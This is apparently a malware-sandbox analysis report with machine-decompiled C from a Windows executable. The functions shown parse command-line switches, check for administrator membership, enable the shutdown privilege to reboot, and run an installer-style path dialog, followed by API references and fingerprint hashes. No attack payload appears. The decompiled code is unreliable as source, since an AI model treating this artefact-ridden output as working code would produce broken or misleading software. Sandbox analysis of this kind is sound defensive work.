															_t202 =  &_v276;
															_v276 = _t170;
															if(E011D5C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x11d8b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x11d8a3a;
																}
																E011D1680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E011D658A(_t218, 0x104, 0x11d1140);
																if(E011D31E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x11d8a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x11d8a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x11d8a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x11d8a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x11d8a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x11d9a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x11d9a2c =  *0x11d9a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x11d8d48 =  *0x11d8d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x11d9a2c =  *0x11d9a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x11d9a2c =  *0x11d9a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x11d8d48 =  *0x11d8d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x11d9a2c =  *0x11d9a2c | 0x00000004;
																										L70:
																										 *0x11d8a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x11d9a2c = 3;
																	 *0x11d8a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x11d8a2c != 0 &&  *0x11d8b3e == 0) {
						if(GetModuleFileNameA( *0x11d9a3c, 0x11d8b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E011D66C8(0x11d8b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x011d5c9e
0x011d5ca9
0x011d5cb0
0x011d5cb3
0x011d5cb6
0x011d5cb7
0x011d5cb8
0x011d5cbd
0x011d6204
0x011d5ccb
0x00000000
0x011d5ccb
0x011d5cd3
0x011d5cd7
0x011d5cf4
0x00000000
0x011d5cf4
0x011d5cf8
0x011d5d00
0x00000000
0x011d5d06
0x011d5d06
0x011d5d0e
0x011d5d10
0x011d5d12
0x011d5d14
0x011d5d15
0x011d5d17
0x011d5d49
0x00000000
0x00000000
0x00000000
0x00000000
0x011d5d19
0x011d5d19
0x011d5d1d
0x00000000
0x011d5d3f
0x011d5d3f
0x011d5d4b
0x011d5d4b
0x011d5d4f
0x011d5d8d
0x00000000
0x011d5d93
0x011d5d93
0x011d5d9a
0x011d5d9d
0x011d5d9e
0x00000000
0x011d5d9e
0x011d5d51
0x011d5d5b
0x011d5d72
0x011d60fb
0x011d60fb
0x011d6207
0x011d620a
0x011d620b
0x011d620e
0x011d6217
0x011d5d78
0x011d5d78
0x011d5d80
0x011d5d83
0x011d5d84
0x00000000
0x011d5d84
0x011d5d5d
0x011d5d5f
0x011d5d62
0x011d5d68
0x011d5d64
0x011d5d64
0x011d5d64
0x00000000
0x011d5d62
0x011d5d5b
0x011d5d4f
0x011d5d1d
0x00000000
0x011d5d9f
0x011d5d9f
0x011d5da5
0x011d5dab
0x011d5dba
0x011d6218
0x011d621d
0x011d6220
0x011d6221
0x011d6229
0x011d6230
0x011d6247
0x011d626a
0x011d6272
0x011d6249
0x011d6255
0x011d625f
0x011d6264
0x011d6264
0x011d6284
0x011d5dc0
0x011d5dc0
0x011d5dca
0x011d5e22
0x00000000
0x00000000
0x00000000
0x00000000
0x011d5dcc
0x011d5dce
0x011d5e24
0x011d5e24
0x011d5e2c
0x011d5e47
0x011d5e4a
0x011d61d2
0x011d61e2
0x011d61e7
0x011d61ee
0x011d61f1
0x011d61f1
0x011d61f8
0x011d61f8
0x011d5e50
0x011d5e53
0x011d6109
0x011d611f
0x00000000
0x011d6125
0x011d6137
0x011d613a
0x011d613c
0x011d613e
0x011d613e
0x011d6141
0x011d6141
0x011d6143
0x011d6144
0x011d614a
0x00000000
0x011d6150
0x011d6152
0x011d615c
0x011d6170
0x011d6172
0x011d617c
0x011d6190
0x011d6190
0x011d6196
0x011d61a5
0x00000000
0x011d61ab
0x011d61b9
0x011d61c6
0x011d61c6
0x011d617e
0x011d6180
0x011d618a
0x00000000
0x00000000
0x00000000
0x00000000
0x011d618a
0x011d615e
0x011d6160
0x011d616a
0x00000000
0x00000000
0x00000000
0x00000000
0x011d616a
0x011d615c
0x011d614a
0x011d610b
0x011d610e
0x011d610e
0x00000000
0x011d5e59
0x011d5e59
0x011d5e5c
0x011d604f
0x011d6056
0x00000000
0x011d605c
0x011d606e
0x011d6071
0x011d6073
0x011d6075
0x011d6075
0x011d6078
0x011d6078
0x011d607a
0x011d607b
0x011d6081
0x00000000
0x011d6087
0x011d6087
0x011d608d
0x011d609c
0x00000000
0x011d60a2
0x011d60aa
0x011d60b2
0x011d60b7
0x011d60bd
0x011d60bf
0x011d60bf
0x011d60d6
0x011d60e0
0x011d60e7
0x011d60f5
0x00000000
0x00000000
0x00000000
0x00000000
0x011d60f5
0x011d609c
0x011d6081
0x011d5e62
0x011d5e62
0x011d5e65
0x011d5fd3
0x011d5fe9
0x00000000
0x011d5fef
0x011d5fef
0x011d5ff7
0x011d5ffd
0x011d6003
0x011d6006
0x011d6011
0x011d6014
0x011d603d
0x011d6016
0x011d6018
0x011d6019
0x011d601b
0x011d6033
0x011d601d
0x011d6020
0x011d6029
0x011d6022
0x011d6022
0x011d6022
0x011d6020
0x011d601b
0x011d6042
0x011d6044
0x011d6046
0x011d604a
0x011d5ff7
0x011d5fd5
0x011d5fd8
0x011d5fd8
0x00000000
0x011d5e6b
0x011d5e6b
0x011d5e6e
0x011d5f8b
0x011d5f99
0x00000000
0x011d5f9f
0x011d5fa7
0x011d5faf
0x00000000
0x011d5fb1
0x011d5fb3
0x00000000
0x011d5fb5
0x011d5fb7
0x00000000
0x011d5fb9
0x00000000
0x011d5fb9
0x011d5fb7
0x011d5fb3
0x011d5faf
0x011d5f8d
0x011d5f8d
0x011d5f8d
0x011d5f8f
0x011d5fc1
0x011d5fc1
0x011d5fc1
0x00000000
0x011d5e74
0x011d5e74
0x011d5e77
0x011d5ea0
0x011d5ebd
0x011d5f79
0x00000000
0x011d5f7f
0x011d5ec3
0x011d5ec3
0x011d5ecc
0x011d5ed4
0x011d5ed6
0x011d5edc
0x011d5edf
0x011d5eea
0x011d5eed
0x011d5f3f
0x011d5f40
0x00000000
0x011d5eef
0x011d5eef
0x011d5ef2
0x011d5f34
0x011d5ef4
0x011d5ef4
0x011d5ef7
0x011d5f2b
0x00000000
0x011d5ef9
0x011d5ef9
0x011d5efc
0x011d5f22
0x00000000
0x011d5efe
0x011d5eff
0x011d5f02
0x011d5f16
0x011d5f04
0x011d5f07
0x011d5f0d
0x011d5f46
0x011d5f46
0x011d5f09
0x011d5f09
0x011d5f09
0x011d5f07
0x011d5f02
0x011d5efc
0x011d5ef7
0x011d5ef2
0x011d5f4c
0x011d5f4e
0x011d5f50
0x011d5f54
0x011d5ed4
0x011d5ea2
0x011d5ea4
0x011d5eaf
0x011d5eaf
0x00000000
0x011d5e79
0x011d5e7d
0x00000000
0x011d5e83
0x011d5e83
0x011d5e83
0x011d5e85
0x011d5e85
0x011d5e8e
0x00000000
0x011d5e94
0x00000000
0x011d5e94
0x011d5e8e
0x011d5e7d
0x011d5e77
0x011d5e6e
0x011d5e65
0x011d5e5c
0x00000000
0x00000000
0x00000000
0x011d5dd0
0x011d5dd0
0x011d5dd0
0x00000000
0x011d5dd0
0x011d5dce
0x011d5dca
0x011d5dba
0x00000000
0x011d5d00
0x011d5dd9
0x011d5e04
0x011d61fe
0x011d5e0a
0x011d5e0c
0x011d5e17
0x011d5e17
0x011d5e04
0x011d6200
0x011d6200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 011D5CEE
GetModuleFileNameA.KERNEL32(011D8B3E,00000104,00000000,?,?), ref: 011D5DFC
CharUpperA.USER32(?), ref: 011D5E3E
CharUpperA.USER32(-00000052), ref: 011D5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 011D5F6F
CharUpperA.USER32(?), ref: 011D5FA7
CharUpperA.USER32(-0000004E), ref: 011D6008
CharUpperA.USER32(?), ref: 011D60AA
CloseHandle.KERNEL32(00000000,011D1140,00000000,00000040,00000000), ref: 011D61F1
ExitProcess.KERNEL32 ref: 011D61F8

Strings

", xrefs: 011D612D
RegServer, xrefs: 011D5F66
:, xrefs: 011D6118
", xrefs: 011D5D78

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 197b8c08f1d4480a067e0bc1101e8bb9c6db6a28c3e4ff0bec0f8e9958fd30d1
Instruction ID: 7979f0518e35903d1460b7b3b5594545e0511ca9872e5ea93d573e2bc4af8d3d
Opcode Fuzzy Hash: 197b8c08f1d4480a067e0bc1101e8bb9c6db6a28c3e4ff0bec0f8e9958fd30d1
Instruction Fuzzy Hash: E3D1B971A042255EEFBEDA3C88483FA7FB3AB56344F0441EAC596CA185D77489C2CF52

Uniqueness

Uniqueness Score: -1.00%

Function 011D18A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E011D18A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t23 ^ _t53;
				_t25 =  *0x11d8128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E011D6CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E011D17EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x11d8128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x11d8128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x011d18a3
0x011d18a3
0x011d18ab
0x011d18b2
0x011d18b5
0x011d18be
0x011d18c0
0x011d18c6
0x011d18c7
0x011d18ca
0x011d18cf
0x011d19c9
0x011d19d8
0x011d19d8
0x011d18df
0x011d19b8
0x011d19bd
0x011d19bf
0x011d19bf
0x00000000
0x011d19bd
0x011d18fa
0x00000000
0x00000000
0x011d1912
0x011d19aa
0x011d19ad
0x011d19b3
0x00000000
0x011d1927
0x011d1927
0x011d1932
0x011d1936
0x011d19a9
0x011d19a9
0x00000000
0x011d19a9
0x011d194c
0x011d19a2
0x011d19a3
0x00000000
0x011d196e
0x011d1970
0x011d1999
0x011d199c
0x00000000
0x011d199c
0x011d1972
0x011d1972
0x011d1975
0x011d1984
0x011d1985
0x011d198a
0x00000000
0x00000000
0x00000000
0x011d198c
0x011d1991
0x011d1996
0x00000000
0x011d1996
0x011d194c

APIs

Part of subcall function 011D17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,011D18DD), ref: 011D181A
Part of subcall function 011D17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 011D182C
Part of subcall function 011D17EE: AllocateAndInitializeSid.ADVAPI32(011D18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,011D18DD), ref: 011D1855
Part of subcall function 011D17EE: FreeSid.ADVAPI32(?,?,?,?,011D18DD), ref: 011D1883
Part of subcall function 011D17EE: FreeLibrary.KERNEL32(00000000,?,?,?,011D18DD), ref: 011D188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 011D18EB
OpenProcessToken.ADVAPI32(00000000), ref: 011D18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 011D190A
GetLastError.KERNEL32 ref: 011D1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 011D192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 011D1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 011D1964
EqualSid.ADVAPI32(00000004,?), ref: 011D197A
FreeSid.ADVAPI32(?), ref: 011D199C
LocalFree.KERNEL32(00000000), ref: 011D19A3
CloseHandle.KERNEL32(?), ref: 011D19AD

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 00415846f0d704da1adb0e1fb86bcd30b61b9acaee21dba84aa8b870c4b400d9
Instruction ID: b479b92e8be0494e3983e71e67d2290bc25458af5c171c9cb1dc99a0115e9070
Opcode Fuzzy Hash: 00415846f0d704da1adb0e1fb86bcd30b61b9acaee21dba84aa8b870c4b400d9
Instruction Fuzzy Hash: C6312C71A0220ABFDB29DFA9EC88AAFBBBDFF04750F104429E655D2144E7309945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 011D1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E011D1F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x11d9a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x11d8004; // 0xdc3102d5
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E011D44B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E011D6CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E011D44B9(0, 0x522, 0x11d1140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E011D1EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x011d1f90
0x011d1f90
0x011d1f93
0x011d1f98
0x011d1fa4
0x011d1fa7
0x011d1fc5
0x011d1fcd
0x011d1fdb
0x011d1ee5
0x011d1eea
0x011d1ef1
0x011d1ef4
0x011d1f0c
0x011d1f2e
0x011d1f3a
0x011d1f46
0x011d1f4d
0x011d1f58
0x011d1f60
0x011d1f61
0x011d1f62
0x011d1f75
0x011d1f80
0x011d1f77
0x011d1f77
0x00000000
0x011d1f77
0x011d1f64
0x011d1f64
0x00000000
0x011d1f64
0x011d1f0e
0x011d1f0e
0x011d1f13
0x011d1f13
0x011d1f14
0x011d1f14
0x011d1f16
0x011d1f17
0x011d1f1a
0x011d1f1f
0x011d1f1f
0x011d1f86
0x011d1f8f
0x011d1fcf
0x011d1fd3
0x00000000
0x011d1fd3
0x011d1fa9
0x011d1fb4
0x011d1fbb
0x011d1fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x011d1fc3
0x011d1f9a
0x011d1f9a
0x011d1fa2
0x011d1fd9
0x011d1fda
0x00000000
0x00000000
0x00000000
0x011d1fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 011D1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 011D1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 011D1FD3

Strings

SeShutdownPrivilege, xrefs: 011D1F28

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 4ea9d8b2316c4ac25960a8872f08037fd3265a6e85af1044877e60808758923d
Instruction ID: ba28f942805567615291c9262248362fb24afac8bc529e438b812e63dde10b7d
Opcode Fuzzy Hash: 4ea9d8b2316c4ac25960a8872f08037fd3265a6e85af1044877e60808758923d
Instruction Fuzzy Hash: 9121E5B1A422057BDB389AB9DC49FBF77B8EB85B50F100068FA12E6185D77484858362

Uniqueness

Uniqueness Score: -1.00%

Function 011D7155 Relevance: 7.6, APIs: 5, Instructions: 51
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D7155() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t23;
				signed int _t36;
				signed int _t37;
				signed int _t39;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t23 =  *0x11d8004; // 0xdc3102d5
				if(_t23 == 0xbb40e64e || (0xffff0000 & _t23) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentProcessId();
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = GetTickCount() ^ _v8 ^  &_v8;
					QueryPerformanceCounter( &_v24);
					_t36 = _v20 ^ _v24.LowPart ^ _v8;
					_t39 = _t36;
					if(_t36 == 0xbb40e64e || ( *0x11d8004 & 0xffff0000) == 0) {
						_t36 = 0xbb40e64f;
						_t39 = 0xbb40e64f;
					}
					 *0x11d8004 = _t39;
				}
				_t37 =  !_t36;
				 *0x11d8008 = _t37;
				return _t37;
			}

0x011d715d
0x011d7161
0x011d7165
0x011d7178
0x011d7182
0x011d718e
0x011d7197
0x011d71a0
0x011d71b1
0x011d71b8
0x011d71c4
0x011d71c7
0x011d71cb
0x011d71d5
0x011d71da
0x011d71da
0x011d71dc
0x011d71dc
0x011d71e2
0x011d71e5
0x011d71ee

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 011D7182
GetCurrentProcessId.KERNEL32 ref: 011D7191
GetCurrentThreadId.KERNEL32 ref: 011D719A
GetTickCount.KERNEL32 ref: 011D71A3
QueryPerformanceCounter.KERNEL32(?), ref: 011D71B8

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: ae4da7cd84fe476a0f2e25427764a10f90eb54098144a3c84c0278d62aae0946
Instruction ID: 34f4272d54ffe82c03cabcea8b3862e343e9b261449ce4f399f0512a0b05ffdc
Opcode Fuzzy Hash: ae4da7cd84fe476a0f2e25427764a10f90eb54098144a3c84c0278d62aae0946
Instruction Fuzzy Hash: 7A113A71D02218DBCF28DFB8E648A9EBBF5EF08314F654966D811E7244E7309A41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 011D6CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D6CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x011d6cf7
0x011d6d00
0x011d6d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,011D6E26,011D1000), ref: 011D6CF7
UnhandledExceptionFilter.KERNEL32(011D6E26,?,011D6E26,011D1000), ref: 011D6D00
GetCurrentProcess.KERNEL32(C0000409,?,011D6E26,011D1000), ref: 011D6D0B
TerminateProcess.KERNEL32(00000000,?,011D6E26,011D1000), ref: 011D6D12

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: dd44ca2d95d6270cf2acb9cd1d51eecb1a54c3c9942cda335c5bea362656be6b
Instruction ID: 59a4137d29a499036f371454e374ad39d0e4b11b794826c670547c7a9ae90afe
Opcode Fuzzy Hash: dd44ca2d95d6270cf2acb9cd1d51eecb1a54c3c9942cda335c5bea362656be6b
Instruction Fuzzy Hash: 00D0C932003108FBDB246BF1F80CA593F28EF48292F444020F33983004CA3244918B51

Uniqueness

Uniqueness Score: -1.00%

Function 011D3210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E011D3210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E011D43D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "lenta");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0x11d9a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0x11d91e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E011D44B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0x11d91e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0x11d91e5 - 3;
						if(_t49 - 0x11d91e5 < 3) {
							goto L32;
						}
						_t24 =  *0x11d91e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0x11d91e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E011D658A(0x11d91e4, 0x104, 0x11d1140);
								_t27 = E011D58C8(0x11d91e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0x11d91e4 - 0x5c;
